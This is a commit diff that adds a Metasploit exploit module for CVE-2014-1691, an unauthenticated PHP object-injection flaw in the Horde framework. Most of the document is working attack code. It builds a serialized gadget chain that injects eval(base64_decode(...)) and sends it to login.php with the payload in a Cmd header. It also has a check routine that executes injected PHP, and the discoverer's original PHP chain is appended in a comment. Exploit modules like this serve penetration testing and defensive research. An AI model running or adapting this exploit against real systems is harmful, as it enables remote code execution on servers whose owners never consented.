Add module for CVE-2014-1691
jvazquez-r7
parent
30263afbe8
commit
3bdd906aae
|
|
@ -0,0 +1,155 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http//metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Horde Unserialize PHP Code Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a php unserialize() vulnerability in Horde < 5.1.1 which could be
|
||||||
|
abused to allow unauthenticated users to execute arbitrary code with the permissions of
|
||||||
|
the web server. The dangerous unserialize() exists in the 'lib/Horde/Variables.php' file.
|
||||||
|
The exploit abuses the __destruct() method from the Horde_Kolab_Server_Decorator_Clean
|
||||||
|
class to reach a dangerous call_user_func() call in the Horde_Prefs class. This exploit
|
||||||
|
uses the Horde_Date_Parser_Token class, which isn't installed by default, the package
|
||||||
|
Horde_Date_Parser must be installed in the target.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'EgiX', # Vulnerability discovery and PoC
|
||||||
|
'juan vazquez' # Metasploit module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '2014-1691' ],
|
||||||
|
[ 'URL', 'http://karmainsecurity.com/exploiting-cve-2014-1691-horde-framework-php-object-injection' ],
|
||||||
|
[ 'URL', 'https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=737149' ]
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'Platform' => ['php'],
|
||||||
|
'Arch' => ARCH_PHP,
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'DisableNops' => true
|
||||||
|
},
|
||||||
|
'Targets' => [ ['Horde 5', { }], ],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Jan 30 2014'
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('TARGETURI', [ true, "The base path to Horde", "/horde/"])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
addends = [rand(10000), rand(10000)]
|
||||||
|
sum = addends.inject{|sum,x| sum + x }
|
||||||
|
res = send_request_exploit("echo #{addends[0]} + #{addends[1]};die;")
|
||||||
|
if res and res.body and res.body.to_s =~ /#{sum}/
|
||||||
|
return Exploit::CheckCode::Vulnerable
|
||||||
|
end
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
print_status("#{peer} - Testing injection...")
|
||||||
|
unless check == Exploit::CheckCode::Vulnerable
|
||||||
|
fail_with(Failure::NotVulnerable, "#{peer} - Target isn't vulnerable, exiting...")
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("#{peer} - Exploiting the unserialize()...")
|
||||||
|
send_request_exploit(payload.encoded)
|
||||||
|
end
|
||||||
|
|
||||||
|
def send_request_exploit(p)
|
||||||
|
php_injection = "\"&&eval(base64_decode($_SERVER[HTTP_CMD]))==\""
|
||||||
|
|
||||||
|
payload_serialized = "O:34:\"Horde_Kolab_Server_Decorator_Clean\":2:{s:43:\"\x00Horde_Kolab_Server_Decorator_Clean\x00_server\";O:20:\""
|
||||||
|
payload_serialized << "Horde_Prefs_Identity\":2:{s:9:\"\x00*\x00_prefs\";O:11:\"Horde_Prefs\":2:{s:8:\"\x00*\x00_opts\";a:1:{s:12:\"sizecallback\";"
|
||||||
|
payload_serialized << "a:2:{i:0;O:23:\"Horde_Date_Parser_Token\":1:{s:4:\"tags\";a:1:{i:0;s:1:\"A\";}}i:1;s:5:\"untag\";}}"
|
||||||
|
payload_serialized << "s:10:\"\x00*\x00_scopes\";a:1:{s:5:\"horde\";O:17:\"Horde_Prefs_Scope\":1:{s:9:\"\x00*\x00_prefs\";"
|
||||||
|
payload_serialized << "a:1:{s:#{php_injection.length}:\"#{php_injection}\";i:1;}}}}s:13:\"\x00*\x00_prefnames\";"
|
||||||
|
payload_serialized << "a:1:{s:10:\"identities\";s:#{php_injection.length}:\"#{php_injection}\";}}"
|
||||||
|
payload_serialized << "s:42:\"\x00Horde_Kolab_Server_Decorator_Clean\x00_added\";a:1:{i:0;i:1;}}"
|
||||||
|
|
||||||
|
print_status(payload_serialized)
|
||||||
|
|
||||||
|
send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => normalize_uri(target_uri.path.to_s, "login.php"),
|
||||||
|
'method' => 'POST',
|
||||||
|
'vars_post' => {
|
||||||
|
'_formvars' => payload_serialized
|
||||||
|
},
|
||||||
|
'headers' => {
|
||||||
|
'Cmd' => Rex::Text.encode_base64(p)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
=begin
|
||||||
|
PHP chain by EgiX: http://karmainsecurity.com/exploiting-cve-2014-1691-horde-framework-php-object-injection
|
||||||
|
|
||||||
|
$phpcode = '"&&eval("phpinfo();die;")=="';
|
||||||
|
|
||||||
|
class Horde_Date_Parser_Token
|
||||||
|
{
|
||||||
|
public $tags = array('A');
|
||||||
|
}
|
||||||
|
|
||||||
|
class Horde_Prefs_Scope
|
||||||
|
{
|
||||||
|
protected $_prefs;
|
||||||
|
|
||||||
|
function __construct()
|
||||||
|
{
|
||||||
|
$this->_prefs = array($GLOBALS['phpcode'] => 1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
class Horde_Prefs
|
||||||
|
{
|
||||||
|
protected $_opts, $_scopes;
|
||||||
|
|
||||||
|
function __construct()
|
||||||
|
{
|
||||||
|
$this->_opts['sizecallback'] = array(new Horde_Date_Parser_Token, 'untag');
|
||||||
|
$this->_scopes['horde'] = new Horde_Prefs_Scope;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
class Horde_Prefs_Identity
|
||||||
|
{
|
||||||
|
protected $_prefs, $_prefnames;
|
||||||
|
|
||||||
|
function __construct()
|
||||||
|
{
|
||||||
|
$this->_prefs = new Horde_Prefs;
|
||||||
|
$this->_prefnames['identities'] = $GLOBALS['phpcode'];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
class Horde_Kolab_Server_Decorator_Clean
|
||||||
|
{
|
||||||
|
private $_server, $_added = array(1);
|
||||||
|
|
||||||
|
function __construct()
|
||||||
|
{
|
||||||
|
$this->_server = new Horde_Prefs_Identity;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$popchain = serialize(new Horde_Kolab_Server_Decorator_Clean);
|
||||||
|
=end
|
||||||
Loading…
Reference in New Issue